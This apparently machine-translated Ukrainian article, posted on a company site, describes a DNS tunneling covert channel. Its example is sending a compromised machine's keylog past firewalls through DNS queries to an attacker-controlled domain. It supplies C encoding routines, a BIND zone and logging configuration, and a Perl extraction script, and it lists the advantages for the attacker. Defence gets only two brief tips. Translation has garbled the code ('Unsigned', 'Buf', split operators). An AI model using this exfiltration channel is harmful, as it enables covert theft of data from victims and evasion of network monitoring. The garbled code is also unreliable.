Новости

Передача даних з вразливою машини в обхід firewall використовуючи прихований канал зв'язку

Часто виникає ситуація, коли ми маємо можливість запустити на вразливою машині потрібне ПО, але з огляду на те, що вона захищена персональним, або знаходиться за корпоративним Firewall'ом, не маємо можливості організувати обмін даними між нею і нашою системою-сервером. В даному випадку розглядається один з безлічі способів організації обміну даними, наприклад, відправки кейлога системи-клієнта на заданий нами сервер, з використанням інкапсуляції їх в запити до підконтрольному нам DNS сервера. Часто виникає ситуація, коли ми маємо можливість запустити на вразливою машині потрібне ПО, але з огляду на те, що вона захищена персональним, або знаходиться за корпоративним Firewall'ом, не маємо можливості організувати обмін даними між нею і нашою системою-сервером

by [email protected]

Часто виникає ситуація, коли ми маємо можливість запустити на вразливою машині потрібне ПО, але з огляду на те, що вона захищена персональним, або знаходиться за корпоративним Firewall'ом, не маємо можливості організувати обмін даними між нею і нашою системою-сервером. В даному випадку розглядається один з безлічі способів організації обміну даними, наприклад, відправки кейлога системи-клієнта на заданий нами сервер, з використанням інкапсуляції їх в запити до підконтрольному нам DNS сервера.

Не буду вдаватися в подробиці роботи DNS протоколу, кому потрібно буде, ознайомиться з RFC, скажу лише, що DNS сервера можуть видавати дані про свою зоні, а також здійснювати пошук в просторі імен, для яких вони не є повноважними з використанням кореневих серверів. Саме цією можливістю DNS протоколу ми і скористаємося.

Отже, основна ідея полягає в тому, щоб створити рекурсивний запит, в даному випадку, до домену третього рівня, нашого домену atacker.com, в якому, в кодованому вигляді передати задані дані. Максимальна довжина переданих в одному пакеті даних становить 255- (довжина маркера) - (довжина atacker.com) -2. Щоб мати можливість відрізнити корисні запити від "чужих", введемо маркер, з якого буде починатися ім'я домену третього рівня, що містить дані. На стороні сервера включимо логирование всіх запитів і будемо розкодувати їх у міру надходження.

Метод кодування / декодування був запозичений з утиліти NSTX (http://nstx.dereference.de/) і являє собою кодування по таблиці символів, дозволених до використання в доменних іменах, згідно RFC. Код наведено нижче:

unsigned char domain [] = ".atacker.com"; unsigned char map [] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_1234567890"; unsigned char * revmap = NULL; void init_revmap (void) {int i; revmap = malloc (256); for (i = 0; i <strlen (map); i ++) revmap [map [i]] = i; } Unsigned char * str_encode (unsigned char * data, int len) {int i = 0, off = 1, cut = 0; static unsigned char * buf = NULL; if (len% 3) cut = 3 - len% 3; buf = realloc (buf, ((len + 2) / 3) * 4 + 2); buf [0] = map [cut]; while (i <len) {buf [off + 0] = map [(data [i] & 252) >> 2]; buf [off + 1] = map [((data [i] & 3) << 4) | ((Data [i + 1] & 240) >> 4)]; buf [off + 2] = map [((data [i + 1] & 15) << 2) | ((Data [i + 2] & 192) >> 6)]; buf [off + 3] = map [(data [i + 2] & 63)]; i + = 3; off + = 4; } Buf [off] = '\ 0'; return buf; } Unsigned char * str_decode (unsigned char * data, int * rlen) {int i = 0, off = 1; int len; static unsigned char * buf = NULL; if (! revmap) init_revmap (); len = strlen (data) -1; buf = realloc (buf, ((len + 3) / 4) * 3); while (off <len) {buf [i + 0] = (revmap [data [off]] << 2) | ((revmap [data [off + 1]] & 48) >> 4); buf [i + 1] = ((revmap [data [off + 1]] & 15) << 4) | ((revmap [data [off + 2]] & 60) >> 2); buf [i + 2] = ((revmap [data [off + 2]] & 3) << 6) | (revmap [data [off + 3]]); i + = 3; off + = 4; } * Rlen = i - revmap [data [0]]; return buf; } На стороні сервера створюється widcard A запис для зони atacker.com такого вигляду: $ TTL 21600; 6H @ 1D IN SOA ns1.atacker.com. hostmaster.atacker.com. (2004120605; serial 1H; refresh 15M; retry 2W; expire 1H); minimum TTL of 1 hour IN NS ns1.atacker.com. IN NS ns2.atacker.com. IN A XXX.XXX.XXX.XXX; IN HINFO "Pentium 4" "FreeBSD" ns1 IN A XXX.XXX.XXX.XXX ns2 IN A XXX.XXX.XXX.XXX * IN A 127.0.0.1 А також включається логирование всіх вхідних DNS запитів, шляхом додавання следющие код в секцію logging: channel queries_ch {file "/var/log/named/queries.log"; severity info; print-time no; print-category no; }; category queries {queries_ch; };

Для отримання чистих даних на стороні сервера використовуємо наступний код:

#! / Usr / bin / perl my $ MARKER = "z0101"; while ($ str = <STDIN>) {if (($ str = ~ s / ^ XX \ + (. *) \ / A \ / IN $ / $ 1 /)) {my @arr = split ( '/', $ str); my @rarr = split (/\./,$ arr [2]); if ($ rarr [0] = ~ s / ^ $ MARKER //) {system ( "./ decode $ rarr [0]"); }}} # Cat /var/log/named/queries.log | pl.pl

Приклади коду (C / Perl) можна завантажити у додатку до статті.

Отже, настільки не хитра чином отримали прихований канал передачі даних з системи-клієнта, на заданий сервер. Надалі, даний метод можна вдосконалити, додавши можливості передачі файлів, а також, двостороннього обміну даними між системами, спробувати приховати реальні DNS сервера.

Переваги даного методу:
    Обхід більшості персональних firewall'ов (Outpost Firewall, Windows Firewall)
    Обхід міжмережевих екранів
    Практично real-time передача даних від клієнта серверу
    Не вимагає прямого з'єднання з системою-сервером
    Використання дефолтних DNS серверів системи-клієнта, які зазвичай дозволяють рекурсивні DNS запити з "своєї" мережі
    Не вимагає установки спеціального DNS демона, або правки існуючих (використовує BIND в прикладі)
недоліки:
    Вимагає наявності 2х підконтрольних DNS серверів
    Залежимо від DNS registry provider'a, а отже, досить вразливі сервера атакуючого
Основні методи захисту від атак даного типу:
    Систематичний аналіз логів корпоративного DNS сервера
    Більш ретельна настройка персонального firewall'а
Використана література:

Уважаемые партнеры, если Вас заинтересовала наша продукция, мы готовы с Вами сотрудничать. Вам необходимо заполнить эту форму и отправить нам. Наши менеджеры в оперативном режиме обработают Вашу заявку, свяжутся с Вами и ответят на все интересующее Вас вопросы.

Или позвоните нам по телефонам: (048) 823-25-64

Организация (обязательно) *

Адрес доставки

Объем

Как с вами связаться:

Имя

Телефон (обязательно) *

Мобильный телефон

Ваш E-Mail

Дополнительная информация: